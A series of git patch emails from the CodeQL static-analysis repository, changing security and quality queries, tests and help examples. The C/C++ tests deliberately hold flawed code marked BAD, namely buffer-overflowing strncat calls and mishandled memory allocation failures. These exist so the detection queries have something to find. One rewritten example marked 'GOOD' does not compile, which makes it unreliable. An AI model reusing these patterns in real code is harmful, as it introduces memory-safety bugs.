JxBrowserFlowConfiguration() { this = "JxBrowserFlowConfiguration" } override predicate isSource(DataFlow::Node src) { exists(ClassInstanceExpr newJxBrowser | newJxBrowser.getConstructedType() instanceof JxBrowser | @@ -74,7 +74,7 @@ private class JxBrowserTaintTracking extends TaintTracking::Configuration { } } -from JxBrowserTaintTracking cfg, DataFlow::Node src +from JxBrowserFlowConfiguration cfg, DataFlow::Node src where cfg.isSource(src) and not cfg.hasFlow(src, _) and From d3e6e594b2b4efc1d81616cc8bfbe2f3e6aff7d5 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 27 Jan 2021 11:57:32 +0100 Subject: [PATCH 0853/1241] Java: Improve QLDoc --- .../Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql index 71a050a20ce..4046f4e9606 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql @@ -57,6 +57,10 @@ private class JxBrowserSafeLoadHandler extends RefType { } } +/** + * Models flow from the source `new Browser()` to a sink `browser.setLoadHandler(loadHandler)` where `loadHandler` + * has been determined to be safe. + */ private class JxBrowserFlowConfiguration extends DataFlow::Configuration { JxBrowserFlowConfiguration() { this = "JxBrowserFlowConfiguration" } From 1637b72092ae898b2799bac4f15ea8b34c17603d Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Wed, 27 Jan 2021 10:59:16 +0000 Subject: [PATCH 0854/1241] JS: Ignore Angular templates in a few non-security queries --- javascript/ql/src/Declarations/DeadStoreOfLocal.ql | 4 +++- javascript/ql/src/Declarations/DeadStoreOfProperty.ql | 4 +++- javascript/ql/src/Expressions/ExprHasNoEffect.qll | 4 +++- javascript/ql/src/LanguageFeatures/SyntaxError.ql | 1 + 4 files changed, 10 insertions(+), 3 deletions(-) diff --git a/javascript/ql/src/Declarations/DeadStoreOfLocal.ql b/javascript/ql/src/Declarations/DeadStoreOfLocal.ql index 375279406f9..4877062a84e 100644 --- a/javascript/ql/src/Declarations/DeadStoreOfLocal.ql +++ b/javascript/ql/src/Declarations/DeadStoreOfLocal.ql @@ -68,5 +68,7 @@ where not exists(SsaImplicitInit init | init.getVariable().getSourceVariable() = v) // the variable is dead at the hoisted implicit initialization. then msg = "The initial value of " + v.getName() + " is unused, since it is always overwritten." else msg = "The value assigned to " + v.getName() + " here is unused." - ) + ) and + // ignore Angular templates + not dead.(ASTNode).getTopLevel() instanceof Angular2::TemplateTopLevel select dead, msg diff --git a/javascript/ql/src/Declarations/DeadStoreOfProperty.ql b/javascript/ql/src/Declarations/DeadStoreOfProperty.ql index 8fac34cfb84..d0866768bc5 100644 --- a/javascript/ql/src/Declarations/DeadStoreOfProperty.ql +++ b/javascript/ql/src/Declarations/DeadStoreOfProperty.ql @@ -299,7 +299,9 @@ where assign1 instanceof CallToObjectDefineProperty implies assign1.(CallToObjectDefineProperty).hasPropertyAttributeWrite("value", _) - ) + ) and + // ignore Angular templates + not assign1.getTopLevel() instanceof Angular2::TemplateTopLevel select assign1.getWriteNode(), "This write to property '" + name + "' is useless, since $@ always overrides it.", assign2.getWriteNode(), "another property write" diff --git a/javascript/ql/src/Expressions/ExprHasNoEffect.qll b/javascript/ql/src/Expressions/ExprHasNoEffect.qll index 3818834f529..220eef15a4a 100644 --- a/javascript/ql/src/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/src/Expressions/ExprHasNoEffect.qll @@ -164,5 +164,7 @@ predicate hasNoEffect(Expr e) { top = e.getParent().(ExprStmt).getParent() and top.getNumChild() = 1 and not exists(Function fun | fun.getEnclosingContainer() = top) - ) + ) and + // ignore Angular templates + not e.getTopLevel() instanceof Angular2::TemplateTopLevel } diff --git a/javascript/ql/src/LanguageFeatures/SyntaxError.ql b/javascript/ql/src/LanguageFeatures/SyntaxError.ql index 6f6ac10a8cc..d4428c75774 100644 --- a/javascript/ql/src/LanguageFeatures/SyntaxError.ql +++ b/javascript/ql/src/LanguageFeatures/SyntaxError.ql @@ -13,4 +13,5 @@ import javascript from JSParseError pe +where not pe.getTopLevel() instanceof Angular2::TemplateTopLevel select pe, pe.getMessage() From 4ba9d10b9a7e0a1d6aad5c765d01fd75c287f847 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 27 Jan 2021 11:03:46 +0000 Subject: [PATCH 0855/1241] Docs: Update copyright date in footer --- docs/codeql/_templates/layout.html | 2 +- docs/codeql/index.html | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/_templates/layout.html b/docs/codeql/_templates/layout.html index e9edb6a3164..e5c6a5d67e6 100644 --- a/docs/codeql/_templates/layout.html +++ b/docs/codeql/_templates/layout.html @@ -165,7 +165,7 @@ </li> </ul> <ul class="list-style-none d-flex text-gray"> - <li class="mr-3">© 2020 GitHub, Inc.</li> + <li class="mr-3">© 2021 GitHub, Inc.</li> <li class="mr-3"><a href="https://docs.github.com/github/site-policy/github-terms-of-service" class="link-gray">Terms </a></li> diff --git a/docs/codeql/index.html b/docs/codeql/index.html index 14e175c5ecd..1173d5a68c4 100644 --- a/docs/codeql/index.html +++ b/docs/codeql/index.html @@ -349,7 +349,7 @@ </li> </ul> <ul class="list-style-none d-flex text-gray"> - <li class="mr-3">© 2020 GitHub, Inc.</li> + <li class="mr-3">© 2021 GitHub, Inc.</li> <li class="mr-3"><a href="https://docs.github.com/en/free-pro-team@latest/github/site-policy/github-terms-of-service" class="link-gray">Terms </a></li> From 19b7d46099cec320754e44146164af7e08abb0ee Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 14:06:53 +0300 Subject: [PATCH 0856/1241] Update test.c --- .../query-tests/Security/CWE/CWE-788/semmle/tests/test.c | 1 + 1 file changed, 1 insertion(+) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c index 0e6fc01f882..c3347e1fd65 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c @@ -18,6 +18,7 @@ void workFunction_2_0(char *s) { strncat(buf, s, len-strlen(buf)-1); // GOOD strncat(buf, s, len-strlen(buf)); // BAD strncat(buf, "fix", len-strlen(buf)); // BAD [NOT DETECTED] +} void workFunction_2_1(char *s) { char * buf; int len=80; From f2241e04e557d774903cbdc55a9a089d49e55330 Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Wed, 27 Jan 2021 12:15:35 +0100 Subject: [PATCH 0857/1241] Apply suggestions from code review Co-authored-by: Taus <tausbn@github.com> --- python/ql/src/semmle/python/Function.qll | 8 ++++++-- python/ql/src/semmle/python/objects/ObjectAPI.qll | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/python/ql/src/semmle/python/Function.qll b/python/ql/src/semmle/python/Function.qll index dbced93012f..73cb4541517 100644 --- a/python/ql/src/semmle/python/Function.qll +++ b/python/ql/src/semmle/python/Function.qll @@ -40,8 +40,12 @@ class Function extends Function_, Scope, AstNode { } /** - * Whether this is a lambda. - * We detect this by comparing its name to the one the extractor gives to lambdas. + * Holds if this function represents a lambda. + * + * The extractor reifies each lambda expression as a (local) function with the name + * "lambda". As `lambda` is a keyword in Python, it's impossible to create a function with this + * name otherwise, and so it's impossible to get a non-lambda function accidentally + * classified as a lambda. */ predicate isLambda() { this.getName() = "lambda" } diff --git a/python/ql/src/semmle/python/objects/ObjectAPI.qll b/python/ql/src/semmle/python/objects/ObjectAPI.qll index 60d447ffb9f..683bcc5ce36 100644 --- a/python/ql/src/semmle/python/objects/ObjectAPI.qll +++ b/python/ql/src/semmle/python/objects/ObjectAPI.qll @@ -721,7 +721,7 @@ abstract class FunctionValue extends CallableValue { /** Gets a class that this function may return */ abstract ClassValue getAnInferredReturnType(); - /** Wheter this is a lambda function */ + /** Holds if this function represents a lambda. */ predicate isLambda() { this.getOrigin().getNode() instanceof Lambda } } From 8737c1442b9f52d5f1c3a29e2762db0b850873eb Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 14:48:23 +0300 Subject: [PATCH 0858/1241] Update WrongInDetectingAndHandlingMemoryAllocationErrors.cpp --- ...ctingAndHandlingMemoryAllocationErrors.cpp | 55 +++++++++---------- 1 file changed, 27 insertions(+), 28 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp index 6fc3bc2f893..0232fc131eb 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp @@ -1,32 +1,31 @@ -// BAD: no memory allocation errors are detected -void f(const int *array, std::size_t size) noexcept { - int *copy = new int[size]; - std::memcpy(copy, array, size * sizeof(*copy)); - // ... - delete [] copy; +// BAD: on memory allocation error, the program terminates. +void badFunction(const int *source, std::size_t length) noexcept { + int * dest = new int[length]; + std::memset(dest, 0, length); +// .. } -// GOOD: memory allocation errors are detected -void f(const int *array, std::size_t size) noexcept { - int *copy; +// GOOD: memory allocation error will be handled. +void goodFunction(const int *source, std::size_t length) noexcept { try { - copy = new int[size]; - } catch(std::bad_alloc) { - // Handle error - return; - } - // At this point, copy has been initialized to allocated memory - std::memcpy(copy, array, size * sizeof(*copy)); - // ... - delete [] copy; + int * dest = new int[length]; + } catch(std::bad_alloc) + std::memset(dest, 0, length); +// .. } -// GOOD: memory allocation errors are detected -void f(const int *array, std::size_t size) noexcept { - int *copy = new (std::nothrow) int[size]; - if (!copy) { - // Handle error - return; - } - std::memcpy(copy, array, size * sizeof(*copy)); - // ... - delete [] copy; +// BAD: memory allocation error will not be handled. +void badFunction(const int *source, std::size_t length) noexcept { + try { + int * dest = new (std::nothrow) int[length]; + } catch(std::bad_alloc) + std::memset(dest, 0, length); +// .. +} +// GOOD: memory allocation error will be handled. +void goodFunction(const int *source, std::size_t length) noexcept { + int * dest = new (std::nothrow) int[length]; + if (!dest) { + return; + } + std::memset(dest, 0, length); +// .. } From bec00643968bad1ae39d53e0256111187569b907 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 14:54:47 +0300 Subject: [PATCH 0859/1241] Update test.cpp --- .../CWE/CWE-570/semmle/tests/test.cpp | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/test.cpp index 6f03f896024..e4aa8cf2976 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-570/semmle/tests/test.cpp @@ -20,14 +20,14 @@ void* operator new[]( std::size_t count, const std::nothrow_t& tag ); void badNew_0_0() { while (true) { - new int[100]; - if(!(new int[100])) + new int[100]; // BAD [NOT DETECTED] + if(!(new int[100])) // BAD [NOT DETECTED] return; } } void badNew_0_1() { - int * i = new int[100]; + int * i = new int[100]; // BAD if(i == 0) return; if(!i) @@ -35,7 +35,7 @@ void badNew_0_1() if(i == NULL) return; int * j; - j = new int[100]; + j = new int[100]; // BAD if(j == 0) return; if(!j) @@ -47,10 +47,10 @@ void badNew_1_0() { try { while (true) { - new(std::nothrow) int[100]; - int* p = new(std::nothrow) int[100]; + new(std::nothrow) int[100]; // BAD + int* p = new(std::nothrow) int[100]; // BAD int* p1; - p1 = new(std::nothrow) int[100]; + p1 = new(std::nothrow) int[100]; // BAD } } catch (const exception &){//const std::bad_alloc& e) { // std::cout << e.what() << '\n'; @@ -59,8 +59,8 @@ void badNew_1_0() void badNew_1_1() { while (true) { - int* p = new(std::nothrow) int[100]; - new(std::nothrow) int[100]; + int* p = new(std::nothrow) int[100]; // BAD [NOT DETECTED] + new(std::nothrow) int[100]; // BAD [NOT DETECTED] } } @@ -68,7 +68,7 @@ void goodNew_0_0() { try { while (true) { - new int[100]; + new int[100]; // GOOD } } catch (const exception &){//const std::bad_alloc& e) { // std::cout << e.what() << '\n'; @@ -78,18 +78,18 @@ void goodNew_0_0() void goodNew_1_0() { while (true) { - int* p = new(std::nothrow) int[100]; + int* p = new(std::nothrow) int[100]; // GOOD if (p == nullptr) { // std::cout << "Allocation returned nullptr\n"; break; } int* p1; - p1 = new(std::nothrow) int[100]; + p1 = new(std::nothrow) int[100]; // GOOD if (p1 == nullptr) { // std::cout << "Allocation returned nullptr\n"; break; } - if (new(std::nothrow) int[100] == nullptr) { + if (new(std::nothrow) int[100] == nullptr) { // GOOD // std::cout << "Allocation returned nullptr\n"; break; } From 25de82c78cd5c19fd1957a8926ba7e395edf2815 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 15:05:01 +0300 Subject: [PATCH 0860/1241] Apply suggestions from code review Co-authored-by: Geoffrey White <40627776+geoffw0@users.noreply.github.com> --- .../WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp index 4b7941a5846..7be7fcd5b35 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp @@ -3,18 +3,18 @@ "qhelp.dtd"> <qhelp> <overview> -<p>when using the new operator to allocate memory, you need to pay attention to the different way of detecting errors. so <code> ::operator new(std::size_t) </code> throws an exception on error, and <code> ::operator new(std::size_t, const std::nothrow_t &) </code> returns zero on error. the programmer can get confused and check the error that occurs when allocating memory incorrectly. That can lead to an unhandled program termination or to a violation of the program logic.</p> +<p>When using the <code>new</code> operator to allocate memory, you need to pay attention to the different ways of detecting errors. <code>::operator new(std::size_t)</code> throws an exception on error, whereas <code>::operator new(std::size_t, const std::nothrow_t &)</code> returns zero on error. The programmer can get confused and check the error that occurs when allocating memory incorrectly. That can lead to an unhandled program termination or to a violation of the program logic.</p> <p>Loss of detection probably refers to use cases where memory allocation using your own solutions with strong nesting. It is also possible when using a buffer in the form of fields of different structures with the same names.</p> </overview> <recommendation> -<p>We recommend using the error detection method, depending on the selected memory allocation method.</code>.</p> +<p>Use the correct error detection method corresponding with the memory allocation.</p> </recommendation> <example> -<p>The following file demonstrates various approaches to detecting memory allocation errors using the new operator.</p> +<p>The following example demonstrates various approaches to detecting memory allocation errors using the <code>new</code> operator.</p> <sample src="WrongInDetectingAndHandlingMemoryAllocationErrors.cpp" /> </example> From 5d163b4c1575115a5f1c14eba0145b74908ee292 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 15:05:58 +0300 Subject: [PATCH 0861/1241] Update WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp --- .../WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp | 2 -- 1 file changed, 2 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp index 7be7fcd5b35..c3e543a1b58 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.qhelp @@ -5,8 +5,6 @@ <overview> <p>When using the <code>new</code> operator to allocate memory, you need to pay attention to the different ways of detecting errors. <code>::operator new(std::size_t)</code> throws an exception on error, whereas <code>::operator new(std::size_t, const std::nothrow_t &)</code> returns zero on error. The programmer can get confused and check the error that occurs when allocating memory incorrectly. That can lead to an unhandled program termination or to a violation of the program logic.</p> -<p>Loss of detection probably refers to use cases where memory allocation using your own solutions with strong nesting. It is also possible when using a buffer in the form of fields of different structures with the same names.</p> - </overview> <recommendation> From 16d058f49865acb62d36c1a9b1af0aa6810d9eac Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 15:06:57 +0300 Subject: [PATCH 0862/1241] Update WrongInDetectingAndHandlingMemoryAllocationErrors.ql --- .../CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql | 1 - 1 file changed, 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql index 383c8a1f128..c32c14c1dd0 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql @@ -2,7 +2,6 @@ * @name Сonfusion In Detecting And Handling Memory Allocation Errors * @description --::operator new(std::size_t) throws an exception on error, and ::operator new(std::size_t, const std::nothrow_t &) returns zero on error. * --the programmer can get confused when check the error that occurs when allocating memory incorrectly. - * --Making a call of this type may result in a zero byte being written just outside the buffer. * @kind problem * @id cpp/detect-and-handle-memory-allocation-errors * @problem.severity warning From c61dec1dffad839b817c3841579cd0c3f0abe80a Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 13:17:47 +0100 Subject: [PATCH 0863/1241] C++: Remove more linear scans. --- cpp/ql/src/semmle/code/cpp/Comments.qll | 2 +- cpp/ql/src/semmle/code/cpp/commons/Synchronization.qll | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/Comments.qll b/cpp/ql/src/semmle/code/cpp/Comments.qll index 65e2af5fd22..7574f0ff32c 100644 --- a/cpp/ql/src/semmle/code/cpp/Comments.qll +++ b/cpp/ql/src/semmle/code/cpp/Comments.qll @@ -50,5 +50,5 @@ class CStyleComment extends Comment { * ``` */ class CppStyleComment extends Comment { - CppStyleComment() { this.getContents().prefix(2) = "//" } + CppStyleComment() { this.getContents().matches("//%") } } diff --git a/cpp/ql/src/semmle/code/cpp/commons/Synchronization.qll b/cpp/ql/src/semmle/code/cpp/commons/Synchronization.qll index c7641385393..92955ae3580 100644 --- a/cpp/ql/src/semmle/code/cpp/commons/Synchronization.qll +++ b/cpp/ql/src/semmle/code/cpp/commons/Synchronization.qll @@ -87,7 +87,7 @@ abstract class MutexType extends Type { private Function mustlockCandidate() { exists(string name | name = result.getName() | name = "lock" or - name.suffix(name.length() - 10) = "mutex_lock" + name.matches("%mutex\\_lock") ) } @@ -97,7 +97,7 @@ private Function mustlockCandidate() { private Function trylockCandidate() { exists(string name | name = result.getName() | name = "try_lock" or - name.suffix(name.length() - 13) = "mutex_trylock" + name.matches("%mutex\\_trylock") ) } @@ -107,7 +107,7 @@ private Function trylockCandidate() { private Function unlockCandidate() { exists(string name | name = result.getName() | name = "unlock" or - name.suffix(name.length() - 12) = "mutex_unlock" + name.matches("%mutex\\_unlock") ) } From 10518744cf2ee774206458b0655b5918caeeddd7 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 27 Jan 2021 13:20:06 +0100 Subject: [PATCH 0864/1241] C#: Remove expressions inside attributes from CFG --- .../controlflow/internal/ControlFlowGraphImpl.qll | 13 +++++++++++-- .../code/csharp/controlflow/internal/Splitting.qll | 6 +----- .../controlflow/graph/EntryElement.expected | 5 ----- .../controlflow/graph/ExitElement.expected | 5 ----- 4 files changed, 12 insertions(+), 17 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index 9df98338895..89d9712da10 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -51,12 +51,21 @@ private import Splitting private import semmle.code.csharp.ExprOrStmtParent /** An element that defines a new CFG scope. */ -class CfgScope extends Element, @top_level_exprorstmt_parent { } +class CfgScope extends Element, @top_level_exprorstmt_parent { + CfgScope() { not this instanceof Attribute } +} module ControlFlowTree { private class Range_ = @callable or @control_flow_element; - class Range extends Element, Range_ { } + class Range extends Element, Range_ { + Range() { this = getAChild*(any(CfgScope scope)) } + } + + private Element getAChild(Element p) { + result = p.getAChild() or + result = p.(AssignOperation).getExpandedAssignment() + } private predicate id(Range x, Range y) { x = y } diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll index 60389cbce7c..dd57cb50487 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll @@ -1541,11 +1541,7 @@ predicate succEntrySplits(CfgScope pred, ControlFlowElement succ, Splits succSpl exists(int rnk | scopeFirst(pred, succ) and t instanceof NormalSuccessor and - succEntrySplitsFromRank(pred, succ, succSplits, rnk) and - // Attribute arguments in assemblies are represented as expressions, even though - // they are not from source. We are not interested in constructing a CFG for such - // expressions. - succ.fromSource() + succEntrySplitsFromRank(pred, succ, succSplits, rnk) | rnk = 0 and not any(SplitImpl split).hasEntryScope(pred, succ) diff --git a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected index 279379c0d46..61b7aa8727f 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected @@ -189,7 +189,6 @@ | AccessorCalls.cs:58:22:58:25 | this access | AccessorCalls.cs:58:22:58:25 | this access | | AccessorCalls.cs:58:22:58:30 | access to property Prop | AccessorCalls.cs:58:22:58:25 | this access | | AccessorCalls.cs:58:33:58:44 | (..., ...) | AccessorCalls.cs:58:37:58:40 | this access | -| AccessorCalls.cs:58:34:58:34 | 1 | AccessorCalls.cs:58:34:58:34 | 1 | | AccessorCalls.cs:58:37:58:40 | this access | AccessorCalls.cs:58:37:58:40 | this access | | AccessorCalls.cs:58:37:58:43 | access to indexer | AccessorCalls.cs:58:37:58:40 | this access | | AccessorCalls.cs:58:42:58:42 | 0 | AccessorCalls.cs:58:42:58:42 | 0 | @@ -660,8 +659,6 @@ | Assert.cs:128:9:128:36 | ...; | Assert.cs:128:9:128:36 | ...; | | Assert.cs:128:27:128:27 | access to local variable s | Assert.cs:128:27:128:27 | access to local variable s | | Assert.cs:128:27:128:34 | access to property Length | Assert.cs:128:27:128:27 | access to local variable s | -| Assert.cs:132:61:132:65 | false | Assert.cs:132:61:132:65 | false | -| Assert.cs:133:61:133:64 | true | Assert.cs:133:61:133:64 | true | | Assert.cs:135:5:136:5 | {...} | Assert.cs:135:5:136:5 | {...} | | Assert.cs:139:5:142:5 | {...} | Assert.cs:139:5:142:5 | {...} | | Assert.cs:140:9:140:35 | call to method AssertTrueFalse | Assert.cs:140:9:140:35 | this access | @@ -1660,9 +1657,7 @@ | Foreach.cs:25:5:28:5 | {...} | Foreach.cs:25:5:28:5 | {...} | | Foreach.cs:26:9:27:11 | foreach (... ... in ...) ... | Foreach.cs:26:36:26:39 | access to parameter args | | Foreach.cs:26:18:26:31 | (..., ...) | Foreach.cs:26:23:26:23 | String x | -| Foreach.cs:26:19:26:23 | 1 | Foreach.cs:26:19:26:23 | 1 | | Foreach.cs:26:23:26:23 | String x | Foreach.cs:26:23:26:23 | String x | -| Foreach.cs:26:26:26:30 | 1 | Foreach.cs:26:26:26:30 | 1 | | Foreach.cs:26:30:26:30 | Int32 y | Foreach.cs:26:30:26:30 | Int32 y | | Foreach.cs:26:36:26:39 | access to parameter args | Foreach.cs:26:36:26:39 | access to parameter args | | Foreach.cs:27:11:27:11 | ; | Foreach.cs:27:11:27:11 | ; | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 3a9587847c1..30b2c7fe4f4 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -189,7 +189,6 @@ | AccessorCalls.cs:58:22:58:25 | this access | AccessorCalls.cs:58:22:58:25 | this access | normal | | AccessorCalls.cs:58:22:58:30 | access to property Prop | AccessorCalls.cs:58:22:58:25 | this access | normal | | AccessorCalls.cs:58:33:58:44 | (..., ...) | AccessorCalls.cs:58:33:58:44 | (..., ...) | normal | -| AccessorCalls.cs:58:34:58:34 | 1 | AccessorCalls.cs:58:34:58:34 | 1 | normal | | AccessorCalls.cs:58:37:58:40 | this access | AccessorCalls.cs:58:37:58:40 | this access | normal | | AccessorCalls.cs:58:37:58:43 | access to indexer | AccessorCalls.cs:58:42:58:42 | 0 | normal | | AccessorCalls.cs:58:42:58:42 | 0 | AccessorCalls.cs:58:42:58:42 | 0 | normal | @@ -788,8 +787,6 @@ | Assert.cs:128:9:128:36 | ...; | Assert.cs:128:9:128:35 | call to method WriteLine | normal | | Assert.cs:128:27:128:27 | access to local variable s | Assert.cs:128:27:128:27 | access to local variable s | normal | | Assert.cs:128:27:128:34 | access to property Length | Assert.cs:128:27:128:34 | access to property Length | normal | -| Assert.cs:132:61:132:65 | false | Assert.cs:132:61:132:65 | false | normal | -| Assert.cs:133:61:133:64 | true | Assert.cs:133:61:133:64 | true | normal | | Assert.cs:135:5:136:5 | {...} | Assert.cs:135:5:136:5 | {...} | normal | | Assert.cs:139:5:142:5 | {...} | Assert.cs:140:9:140:35 | call to method AssertTrueFalse | throw(Exception) | | Assert.cs:139:5:142:5 | {...} | Assert.cs:141:9:141:15 | return ...; | return | @@ -2298,9 +2295,7 @@ | Foreach.cs:25:5:28:5 | {...} | Foreach.cs:26:9:27:11 | foreach (... ... in ...) ... | empty | | Foreach.cs:26:9:27:11 | foreach (... ... in ...) ... | Foreach.cs:26:9:27:11 | foreach (... ... in ...) ... | empty | | Foreach.cs:26:18:26:31 | (..., ...) | Foreach.cs:26:18:26:31 | (..., ...) | normal | -| Foreach.cs:26:19:26:23 | 1 | Foreach.cs:26:19:26:23 | 1 | normal | | Foreach.cs:26:23:26:23 | String x | Foreach.cs:26:23:26:23 | String x | normal | -| Foreach.cs:26:26:26:30 | 1 | Foreach.cs:26:26:26:30 | 1 | normal | | Foreach.cs:26:30:26:30 | Int32 y | Foreach.cs:26:30:26:30 | Int32 y | normal | | Foreach.cs:26:36:26:39 | access to parameter args | Foreach.cs:26:36:26:39 | access to parameter args | normal | | Foreach.cs:27:11:27:11 | ; | Foreach.cs:27:11:27:11 | ; | normal | From bdfdcbd6735a841c4329a26b15bc4130c10e8f67 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 15:48:18 +0300 Subject: [PATCH 0865/1241] Update WrongInDetectingAndHandlingMemoryAllocationErrors.ql --- ...rongInDetectingAndHandlingMemoryAllocationErrors.ql | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql index c32c14c1dd0..e165d61985b 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql @@ -44,14 +44,8 @@ class WrongCheckErrorOperatorNew extends FunctionCall { * Holds if handler `try ... catch` exists. */ predicate isExistsTryCatchBlock() { - exists(TryStmt tb, AssignExpr aex, Initializer it | - tb.getAChild*() = exp - or - exp = it.getExpr() and - tb.getAChild*().(DeclStmt).getADeclaration() = it.getDeclaration() - or - aex.getAChild*() = exp and - tb.getAChild*().(AssignExpr) = aex + exists(TryStmt ts | + this.getEnclosingStmt() = ts.getStmt().getAChild*() ) } From 51572369994d378e3b7e5c0b091da27f824b7691 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 27 Jan 2021 13:49:13 +0100 Subject: [PATCH 0866/1241] Fix doc comments --- 